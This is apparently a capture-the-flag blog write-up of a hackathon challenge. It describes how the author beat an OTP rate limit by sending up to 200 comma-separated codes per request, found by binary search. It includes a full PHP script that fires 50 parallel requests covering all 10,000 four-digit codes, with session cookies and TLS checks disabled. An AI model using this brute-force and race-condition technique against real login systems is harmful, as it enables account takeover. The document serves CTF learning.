Race 2 finale!
As the name suggests, this should be about the race condition.
But it had hurdles. You can only try 5 times, then your account is locked for 15 minutes. And OTP should of 4 digits. And OTP changes every minute.
10000 OTPs in just 5 tries? How?
How about sending all the OTPs in single request?
Tried otp=0000&otp=0001&otp=0002&…&otp=9998&otp=9999
but it acknowledged only last OTP (9999)
Tried otp[]=0000&otp[]=0001&otp[]=1002&…&otp[]=9998&otp[]=9999
Didn’t work.
Tried otp=0000,0001,0002,…,9998,9999
. It gave a different error, Many OTPS provided.
Time to use Binary Search algorithm to find the possible number of OTPs in one request.
- 10000 OTPs gave Many OTPS provided.
- 5000 OTPs gave Many OTPS provided.
- 2500 OTPs gave Many OTPS provided.
- 1250 OTPs gave Many OTPS provided.
- Blocked for 15 minutes
- 700 OTPs gave Many OTPS provided.
- 350 OTPs gave Many OTPS provided.
- 175 OTPs gave Wrong OTP.
- 250 OTPs gave Many OTPS provided.
- 200 OTPs gave Wrong OTP.
- Blocked for 15 minutes
In 15 minutes I created a PHP script to send multiple requests to server at once with a batch of 200 OTPs each request
<?php
// create an empty array
$array = array();
// loop from 0 to 9999
for ($i = 0; $i <= 9999; $i++) {
// pad the number with zeros if it is less than four digits
$number = str_pad($i, 4, "0", STR_PAD_LEFT);
// append the number to the array as a string
$array[] = $number;
}
// create an empty result array
$result = array();
// loop through the array in chunks of 200 elements
foreach (array_chunk($array, 200) as $chunk) {
// join the chunk elements with comma
$sub_result = implode(",", $chunk);
// append the sub-result to the result array
$result[] = $sub_result;
}
// print the result as an array
// print_r($result);die;
$otp = $result;
$mh = curl_multi_init();
foreach ($otp as $o) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://ctfzomato.com/levels/a2hNDekhDekhDekhYahaWahaNaFenkFailegiBimariHogaSabkaBuraHaalGaadiWalaAyaaGharSeKachraNikaal==');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ctfzomato.com',
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
]);
curl_setopt($ch, CURLOPT_COOKIE, 'cf_clearance=x03K817h45668HvYfFpdXE3hodMtb9R0ShmrFhY2gWE-1696912516-0-1-1236c5e9.c2caa312.106dabd-160.0.0; _hackathon2_session=%2BYjineMeraDilLutteyaOhoJineMainuMaarSutteyaOhoLakkPatlaBiloriOhdeNainNainKanniJhumkeHullareyOhdeLainLainGallanKardiShehdTonMithhiyaPTvm--lXQnaZcn1pU704Tw--L%2BZSKIV6bmhnqnyLdFZxug%3D%3D');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'authenticity_token=ad9tSS1gW6im4YpP2TX8seMqBp-w8cnTW14FYzDrOidHf-ExRWhn0QvruepvbAToz5wLhVmGYqGY_09QmUIwog&otp='.urlencode($o));
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_multi_add_handle($mh, $ch);
}
for (;;) {
$still_running = null;
do {
$err = curl_multi_exec($mh, $still_running);
} while ($err === CURLM_CALL_MULTI_PERFORM);
if ($err !== CURLM_OK) {
// handle curl multi error?
}
if ($still_running < 1) {
// all downloads completed
break;
}
// some haven't finished downloading, sleep until more data arrives:
curl_multi_select($mh, 1);
}
$results = [];
while (false !== ($info = curl_multi_info_read($mh))) {
if ($info["result"] !== CURLE_OK) {
// handle download error?
}
$results[curl_getinfo($info["handle"], CURLINFO_EFFECTIVE_URL)] = curl_multi_getcontent($info["handle"]);
curl_multi_remove_handle($mh, $info["handle"]);
curl_close($info["handle"]);
}
curl_multi_close($mh);
var_export($results);
This script sent 200 OTPs in one request. So it sent 50 requests in one go. In first try it didn’t work. Waited for a minute for OTP to change.
But then it worked in second try and I got the flag.
Leave a Reply